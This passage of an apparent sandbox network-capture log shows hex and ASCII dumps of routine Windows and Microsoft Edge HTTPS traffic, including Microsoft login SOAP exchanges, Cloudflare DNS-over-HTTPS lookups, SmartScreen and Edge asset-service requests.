00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 Data Ascii: ,\iuXdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{O
2024-11-18 12:29:27 UTC	16384	IN	Data Raw: 34 82 9b a9 e1 c3 b1 e1 46 87 99 95 55 9a b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 Data Ascii: 4FU;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@
2024-11-18 12:29:28 UTC	16384	IN	Data Raw: 14 85 b6 9f 56 47 3e e9 1b d3 5f a5 ac 50 c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 Data Ascii: VG>_P/}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.8	49770	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:27 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-11-18 12:29:27 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 12:29:27 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 12:28:27 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_SN1 x-ms-request-id: dd5d34bc-3e15-4a63-861f-bb132f6a286c PPServer: PPV: 30 H: SN1PEPF0002F0EB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 12:29:26 GMT Connection: close Content-Length: 10197
2024-11-18 12:29:27 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.8	49777	162.159.61.3	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:29:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:29:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:29:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f7561c8c28b1-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:29:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 bb 00 04 8e fb ba 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.8	49778	162.159.61.3	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:27 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:29:27 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:29:27 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:29:27 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f756dedbe80f-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:29:27 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 a5 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.8	49781	40.126.31.69	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:28 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4722 Host: login.live.com
2024-11-18 12:29:28 UTC	4722	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-18 12:29:28 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 18 Nov 2024 12:28:28 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C516_BAY x-ms-request-id: 136e4e6a-54e7-4200-9a60-892e8a6786d1 PPServer: PPV: 30 H: PH1PEPF0001B80A V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 18 Nov 2024 12:29:27 GMT Connection: close Content-Length: 10197
2024-11-18 12:29:28 UTC	10197	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.8	49785	20.25.227.174	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:28 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiUGtsS1kwbVRHWkxUL1NSc2ZmRXVjdz09IiwgImhhc2giOiJpeXlaa3ArNXlGWT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-11-18 12:29:28 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-11-18 12:29:28 UTC	248	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:28 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:46ea1a4d-29cb-4e7e-a1ff-735721467fe3
2024-11-18 12:29:28 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.8	49784	13.107.246.57	443	3832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:29:28 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-18 12:29:28 UTC	583	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:29:28 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Thu, 07 Nov 2024 20:03:34 GMT ETag: 0x8DCFF6742E8F24C x-ms-request-id: da125066-d01e-006e-186b-39c12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241118T122928Z-164f84587bfjxw6fhC1DFWq94400000005z0000000005a3w Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-18 12:29:28 UTC	15801	IN	Data Raw: 1f 8b 08 08 16 1d 2d 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: -gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-18 12:29:28 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-18 12:29:28 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-18 12:29:29 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-18 12:29:29 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 